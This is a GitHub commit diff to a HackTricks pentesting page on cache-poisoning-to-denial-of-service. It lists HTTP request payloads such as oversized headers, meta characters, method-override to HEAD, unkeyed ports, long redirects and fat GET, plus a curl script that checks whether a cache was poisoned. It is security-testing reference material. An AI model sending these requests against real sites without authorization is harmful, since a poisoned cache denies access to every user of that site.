Skip to content

Commit 1a63c3d

Browse files
authored
Merge pull request #2240 from HackTricks-wiki/research_update_src_pentesting-web_cache-deception_cache-poisoning-to-dos_20260515_035758
Research Update Enhanced src/pentesting-web/cache-deception/...
2 parents c47f5ea + 3edeceb commit 1a63c3d

1 file changed

Lines changed: 81 additions & 49 deletions

File tree

src/pentesting-web/cache-deception/cache-poisoning-to-dos.md

Lines changed: 81 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -3,146 +3,178 @@
33
{{#include ../../banners/hacktricks-training.md}}
44

55
> [!CAUTION]
6-
> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers**
6+
> These techniques try to make the **origin return an error, a blank body, or a broken redirect** for a request that the **cache still considers valid/cacheable**. Once stored, the poisoned object can deny access to every user hitting the same cache key.
77
8-
- **HTTP Header Oversize (HHO)**
8+
> [!TIP]
9+
> Confirm CPDoS with the **lowest blast radius possible**: send a **baseline** request, then the **poisoning** request, and finally a **validation** request without the malicious input. Compare **status**, **body length**, and cache headers such as **`X-Cache`**, **`CF-Cache-Status`**, **`Cache-Status`**, or **`Age`**. If possible, use a sacrificial endpoint or an unkeyed cache buster first.
910
10-
Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached:
11+
If the issue depends on **path confusion**, **static extensions/directories**, or other URL parser discrepancies, first check [Cache Poisoning via URL discrepancies](cache-poisoning-via-url-discrepancies.md).
1112

12-
```
13-
GET / HTTP/1.1
14-
Host: redacted.com
15-
X-Oversize-Hedear:Big-Value-000000000000000
16-
```
13+
## Quick verification flow
1714

18-
- **HTTP Meta Character (HMC) & Unexpected values**
15+
```bash
16+
url='https://target.tld/app.js'
1917

20-
Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first.
18+
# 1) Baseline
19+
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
2120

21+
# 2) Poison attempt
22+
curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
23+
24+
# 3) Validation
25+
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
2226
```
27+
28+
## Common cache poisoning-to-DoS primitives
29+
30+
### HTTP Header Oversize (HHO)
31+
32+
Send a request with a header block that is **accepted by the cache** but **rejected by the origin**. If the resulting 4xx page is cached, later normal requests will get the cached error.
33+
34+
```http
2335
GET / HTTP/1.1
2436
Host: redacted.com
25-
X-Meta-Hedear:Bad Chars\n \r
37+
X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000
2638
```
2739

28-
A badly configured header could be just `\:` as a header.
40+
This is especially interesting when the **CDN/header limit is larger than the origin/framework limit**.
41+
42+
### HTTP Meta Character (HMC) & unexpected values
2943

30-
This could also work if unexpected values are sent, like an unexpected Content-Type:
44+
Send **control/meta characters** such as **`\0`**, **`\b`**, **`\r`**, or **`\n`**, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus `Content-Type`.
3145

46+
```http
47+
GET / HTTP/1.1
48+
Host: redacted.com
49+
X-Metachar-Header: \0
3250
```
51+
52+
```http
3353
GET /anas/repos HTTP/2
3454
Host: redacted.com
3555
Content-Type: HelloWorld
3656
```
3757

38-
- **Unkeyed header**
58+
A badly configured parser may also fail on values such as `\:`.
3959

40-
Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header:
60+
### Unkeyed header that triggers an error
4161

42-
```
62+
Some backends return an error or denial page when they see specific headers, but the cache key doesn't vary on that header.
63+
64+
```http
4365
GET /app.js HTTP/2
4466
Host: redacted.com
4567
X-Amz-Website-Location-Redirect: someThing
4668
4769
HTTP/2 403 Forbidden
48-
Cache: hit
70+
X-Cache: hit
4971
5072
Invalid Header
5173
```
5274

53-
- **HTTP Method Override Attack (HMO)**
75+
Also test `Forwarded`, `X-Forwarded-Host`, `X-Forwarded-Port`, and application-specific routing headers when they influence redirects or origin routing.
5476

55-
If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached:
77+
### HTTP Method Override Attack (HMO)
5678

57-
```
58-
GET /blogs HTTP/1.1
79+
If the application or middleware supports method override headers such as `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override`, you may be able to transform a normal `GET` into an unsupported or body-less method at the origin while the cache still stores the response under the `GET` key.
80+
81+
```http
82+
GET /app.js HTTP/1.1
5983
Host: redacted.com
60-
HTTP-Method-Override: POST
84+
X-HTTP-Method-Override: HEAD
6185
```
6286

63-
- **Unkeyed Port**
87+
`HEAD`, `TRACE`, `PUT`, `DELETE`, and `POST` are worth testing. `HEAD` is especially attractive because some stacks reply `200 OK` with `Content-Length: 0`, effectively blanking the asset for everyone.
6488

65-
If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port:
89+
### Unkeyed Port
6690

67-
```
91+
If the port in the `Host` header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port:
92+
93+
```http
6894
GET /index.html HTTP/1.1
6995
Host: redacted.com:1
7096
7197
HTTP/1.1 301 Moved Permanently
7298
Location: https://redacted.com:1/en/index.html
73-
Cache: miss
99+
X-Cache: miss
74100
```
75101

76-
- **Long Redirect DoS**
102+
### Long Redirect DoS
77103

78-
Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response:
104+
If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into `414 URI Too Large`, `431 Request Header Fields Too Large`, or another error on the follow-up request.
79105

80-
```
106+
```http
81107
GET /login?x=veryLongUrl HTTP/1.1
82108
Host: www.cloudflare.com
83109
84110
HTTP/1.1 301 Moved Permanently
85111
Location: /login/?x=veryLongUrl
86-
Cache: hit
112+
CF-Cache-Status: HIT
87113
88114
GET /login/?x=veryLongUrl HTTP/1.1
89115
Host: www.cloudflare.com
90116
91117
HTTP/1.1 414 Request-URI Too Large
92-
CF-Cache-Status: miss
118+
CF-Cache-Status: MISS
93119
```
94120

95-
- **Host header case normalization**
121+
### Host header case normalization
96122

97-
The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not:
123+
The `Host` header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case `Host` can poison the canonical cache bucket:
98124

99-
```
125+
```http
100126
GET /img.png HTTP/1.1
101127
Host: Cdn.redacted.com
102128
103129
HTTP/1.1 404 Not Found
104-
Cache:miss
130+
X-Cache: miss
105131
106132
Not Found
107133
```
108134

109-
- **Path normalization**
135+
### Path normalization / static-rule confusion
110136

111-
Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path:
137+
Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (`/assets/...`, `.css`, `.js`, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key.
112138

113-
```
139+
```http
114140
GET /api/v1%2e1/user HTTP/1.1
115141
Host: redacted.com
116142
117-
118143
HTTP/1.1 404 Not Found
119-
Cach:miss
144+
X-Cache: miss
120145
121146
Not Found
122147
```
123148

124-
- **Fat Get**
149+
For delimiter/static-extension/static-directory tricks, see [Cache Poisoning via URL discrepancies](cache-poisoning-via-url-discrepancies.md).
125150

126-
Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response:
151+
### Fat GET
127152

128-
```
153+
Some caches/origins reject **`GET` with a body**, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean `GET` cache key.
154+
155+
```http
129156
GET /index.html HTTP/2
130157
Host: redacted.com
131158
Content-Length: 3
132159
133160
xyz
134161
135-
136162
HTTP/2 403 Forbidden
137-
Cache: hit
163+
X-Cache: hit
138164
```
139165

140-
## References
166+
### Framework / internal cache poisoning
141167

142-
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
143-
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
168+
Recent framework bugs showed that **CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer**. Internal framework caches or upstream CDNs may also store:
144169

145-
{{#include ../../banners/hacktricks-training.md}}
170+
- a **`204 No Content`** response for a normally populated static/ISR page
171+
- a **`200 OK`** response with **`Content-Length: 0`**
172+
- a response that was supposed to stay **`private, no-store`** but is coerced into **`s-maxage`** / **`stale-while-revalidate`**
146173

174+
In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in **`Cache-Control`**, **body length**, and shared-cache headers. If you are assessing a Next.js target, also check [the Next.js page](../../network-services-pentesting/pentesting-web/nextjs.md) for framework-specific cache poisoning bugs.
147175

176+
## References
148177

178+
- [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning)
179+
- [Next.JS vulnerability can lead to DoS via cache poisoning](https://github.com/advisories/GHSA-67rr-84xm-4c7r)
180+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)